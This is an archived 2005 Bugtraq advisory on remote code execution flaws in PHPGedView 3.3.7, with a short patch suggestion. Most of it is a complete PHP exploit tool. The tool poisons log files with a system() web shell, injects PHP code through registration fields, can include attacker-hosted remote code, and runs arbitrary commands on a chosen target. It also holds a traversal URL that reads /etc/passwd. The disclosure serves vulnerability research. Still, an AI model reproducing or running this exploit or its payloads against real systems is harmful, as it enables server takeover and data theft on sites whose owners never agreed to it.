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Message-ID: <20051220161644.29175.qmail@securityfocus.com>
Date: 20 Dec 2005 16:16:44 -0000
From: retrogod@...ceposta.it
To: bugtraq@...urityfocus.com
Subject: PHPGedView <= 3.3.7 remote code execution
--- PHPGedView <= 3.3.7 Arbitrary local/remote code execution & php injection ---
software:
site: http://www.phpgedview.net/
description: "PhpGedView is a revolutionary genealogy program which allows you to view
and edit your genealogy on your website."
-
vulnerabilties:
----------------------------------------------------------------------------------
i) in help_text_vars.php at lines 31-32:
...
require $PGV_BASE_DIRECTORY.$confighelpfile["english"];
if (file_exists($PGV_BASE_DIRECTORY.$confighelpfile[$LANGUAGE])) require $PGV_BASE_DIRECTORY.$confighelpfile[$LANGUAGE];
...
if registers_globals on yo can include/view an arbitrary file from local resources:
http://[target]/[path]/help_text_vars.php?PGV_BASE_DIRECTORY=../../../../../../../etc/passwd
so, we have remote code execution, example: try to login with:
username: <?php system($_GET[cmd]);?>
password: [nothing]
now in log file we have:
2005.12.20 13:16:06 - 127.0.0.1 - Login Failed -><?php system($_GET[cmd]);?> <-
so you can launch operating system commands:
http://[target]/[path]/help_text_vars.php?cmd=ls%20-la&PGV_BASE_DIRECTORY=./index/pgv-200512.log
generally:
http://[target]/[path]/help_text_vars.php?cmd=ls-%20la&PGV_BASE_DIRECTORY=./index/pgv-[year][month].log
also, if register_globals on and allow_url_fopen on, you can include arbitrary code from a remote location:
http://[target]/[path]/help_text_vars.php?cmd=dir&PGV_BASE_DIRECTORY=http://some_location/path/code.txt
patch: at line 30 simply add:
...
require('config.php');
...
-------------------------------------------------------------------------------------
ii) if magic_quotes_gpc off, you can inject arbitrary php code in "user_language", "user_email" and "user_gedcomid"
arguments when you register, example, in one of this field type:
';error_reporting(0);if(isset($suntzu)){system($_GET[suntzu]);die('HiMaster!');}echo'
so in authenticate.php we have something like this:
...
$user = array();
$user["username"] = 'SUNTZU2118';
$user["fullname"] = 'suntzu';
$user["email"] = '';error_reporting(0);if(isset($suntzu)){system($_GET[suntzu]);die('HiMaster!');}echo'';
$user["language"] = 'english';error_reporting(0);if(isset($suntzu)){system($_GET[suntzu]);die('HiMaster!');}echo'';
$user["verified"] = '';
$user["verified_by_admin"] = '';
$user["pwrequested"] = '';
$user["reg_timestamp"] = '1135079288';
$user["reg_hashcode"] = '[hashcode]';
$user["gedcomid"] = array();
$user["gedcomid"]["suntzu"] = '';error_reporting(0);if(isset($suntzu)){system($_GET[suntzu]);die('HiMaster!');}echo'';
$user["rootid"] = array();
$user["rootid"]["suntzu"] = '';error_reporting(0);if(isset($suntzu)){system($_GET[suntzu]);die('HiMaster!');}echo'';
$user["canedit"] = array();
...
after you can launch commands:
http://[target]/[path]/?suntzu=ls%20-la
-------------------------------------------------------------------------------------
proof of concept exploit for i) amd ii):
<?php
# ---php_ged_view_337_xpl.php 16.31 20/12/2005 #
# #
# PHPGedView <= 3.3.7 remote commands execution #
# coded by rgod #
# site: http://rgod.altervista.org #
# #
# usage: launch from Apache, fill in requested fields, then go! #
# #
# Sun-Tzu:"If the enemy leaves a door open, you must rush in. #
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 5);
ob_implicit_flush (1);
echo'<html><head><title> ****PhpGedView <= 3.3.7 remote commands execution******
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111; SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img
{background-color: #FFFFFF !important} input {background-color: #303030
!important} option { background-color: #303030 !important} textarea
{background-color: #303030 !important} input {color: #1CB081 !important} option
{color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox
{background-color: #303030 !important} select {font-weight: normal; color:
#1CB081; background-color: #303030;} body {font-size: 8pt !important;
background-color: #111111; body * {font-size: 8pt !important} h1 {font-size:
0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em
!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em
!important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
*****PhpGedView <= 3.3.7 remote commands execution****** </p><p class="Stile6">a
script by rgod at <a href="http://rgod.altervista.org"target="_blank">
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%"> <form
name="form1" method="post" action="'.$SERVER[PHP_SELF].'"> <p><input
type="text" name="host"> <span class="Stile5">* hostname (ex:www.sitename.com)
</span></p> <p><input type="text" name="path"> <span class="Stile5">* path (ex:
/phpgv/ or just / ) </span></p><p><input type="text" name="cmd"> <span
class="Stile5"> * specify a command </span></p> <p> <input type="text"
name="LOCATION"><span class="Stile5"> remote location ( ex: http://www.somesite
.com/filename.txt) if you leave blank, Step 2 will be skipped but you have good
chances to succeed anyway </span></p><p><input type="text" name="port"> <span
class="Stile5">specify a port other than 80 (default value)</span> </p> <p>
<input type="text" name="proxy"><span class="Stile5">send exploit through an
HTTP proxy (ip:port)</span> </p> <p> <input type="submit" name="Submit"
value="go!"></p></form></td></tr></table></body></html>';
function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td> </td>";
for ($li=0; $li<=15; $li++)
{ echo "<td>".$headeri[$li+$ki]."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo "<td>  </td>";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "<td>".$headeri[$li]."</td>";
}
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacket() //if you have sockets module loaded, 2x speed! if not,load
//next function to send packets
{
global $proxy, $host, $port, $packet, $html, $proxy_regex;
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) {
echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
}
else
{ $c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
echo "OK.<br>";
echo "Attempting to connect to ".$host." on port ".$port."...<br>";
if ($proxy=='')
{
$result = socket_connect($socket, $host, $port);
}
else
{
$parts =explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$result = socket_connect($socket, $parts[0],$parts[1]);
}
if ($result < 0) {
echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
}
else
{
echo "OK.<br><br>";
$html= '';
socket_write($socket, $packet, strlen($packet));
echo "Reading response:<br>";
while ($out= socket_read($socket, 2048)) {$html.=$out;}
echo nl2br(htmlentities($html));
echo "Closing socket...";
socket_close($socket);
}
}
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='')
{$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) { echo 'No response from '.htmlentities($host);
die; }
}
else
{
$c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) { echo 'No response from proxy...';
die;
}
}
fputs($ock,$packet);
if ($proxy=='')
{
$html='';
while (!feof($ock))
{
$html.=fgets($ock);
}
}
else
{
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html.=fread($ock,1);
}
}
fclose($ock);
echo nl2br(htmlentities($html));
}
function make_seed()
{
list($usec, $sec) = explode(' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}
$cmd=$_POST[cmd];$host=$_POST[host];
$path=$_POST[path];$LOCATION=$_POST[LOCATION];
$port=$_POST[port];$proxy=$_POST[proxy];
if (($host<>'') and ($path<>'') and ($cmd<>''))
{
$port=intval(trim($port));
if ($port=='') {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$host=str_replace("\r\n","",$host);
$path=str_replace("\r\n","",$path);
#STEP 1a -> inject some php code in log file... (this works with register_globals on)
$CODE="HiMaster!<?php system(\$_GET[suntzu]);die;?>";
$data="action=login";
$data.="&url=".urlencode("http://".$host."/");
$data.="&ged=php062005.ged";
$data.="&pid=";
$data.="&type=full";
$data.="&usertime=2005-12-20+14%3A34%3A57";
$data.="&username=".urlencode($CODE);
$data.="&password=";
$packet="POST ".$p."login.php HTTP/1.1\r\n";
$packet.="Accept: */*\r\n";
$packet."Referer: http://".$host.$path."login.php\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="User-Agent: URL_Spider_Pro/x.x\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
show($packet);
sendpacketii($packet);
#STEP 1b -> Launch commands...
$packet="GET ".$p."help_text_vars.php?suntzu=".$cmd."&PGV_BASE_DIRECTORY=./index/pgv-".date("Ym").".log HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="User-Agent: WhizBang! Lab /x.x\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (eregi("HiMaster!",$html)) {echo "Exploit succeeded...";die;}
if ($LOCATION<>'')
{
#STEP 2 -> Remote file inclusion... (this works with register_globals on & allow_url_fopen on)
$packet="GET ".$p."help_text_vars.php?suntzu=".$cmd."&PGV_BASE_DIRECTORY=".$LOCATION." HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="User-Agent: Ziggy -- The Clown From Hell!!\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (eregi("HiMaster!",$html)) {echo "Exploit succeeded...";die;}
}
else
{echo "<strong>step 2 skipped, fill location field if you need this</strong><br>";}
#STEP 3a -> Shell inject... (this works with magic_quotes_gpc off)
//don't touch this...
$CODE="';error_reporting(0);if(isset(\$suntzu)){system(\$_GET[suntzu]);die('HiMaster!');}echo'";
$CODE=urlencode($CODE);
$data="action=registernew";
$data.="&time=Tue%2C+20+Dec+2005+10%3A32%3A46+UTC";
srand(make_seed());
$anumber = rand(1,9999);
$data.="&user_name=SUNTZU".$anumber;
$data.="&user_password01=suntzu";
$data.="&user_password02=suntzu";
$data.="&user_fullname=suntzu";
//theese args, not properly verified...
$data.="&user_language=english".$CODE;
$data.="&user_email=".$CODE;
$data.="&user_gedcomid=".$CODE;
$data.="&user_comments=";
$packet="POST ".$p."login_register.php HTTP/1.1\r\n";
$packet.="Accept: */*\r\n";
$packet.="Referer: http://".$host.":".$port.$path."login_register.php?action=register\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="User-Agent: GameBoy, Powered by Nintendo\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
show($packet);
sendpacketii($packet);
#STEP 3b -> Launch commands...
$packet="GET ".$p."?suntzu=".$cmd." HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="User-Agent: Wget/1.x+cvs-stable (Red Hat modified)\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (eregi("HiMaster!",$html)) {echo "Exploit succeeded...";die;}
//if you are here...
echo "Exploit failed...";
}
else
{echo "Note: on remote location you need this code in <br>
http:/[remote_location]/filename.txt :<br>";
echo nl2br(htmlentities("
<?php
echo\"HiMaster!\";ini_set(\"max_execution_time\",0);system(\$suntzu);?>
?>
"));
echo "Fill * required fields, optionally specify a proxy...";}
?>
----------------------------------------------------------------------------------
rgod
site: http://rgod.altervista.org
mail: retrogod at aliceposta it
original advisory: http://rgod.altervista.org/phpgedview_337_xpl.html
----------------------------------------------------------------------------------
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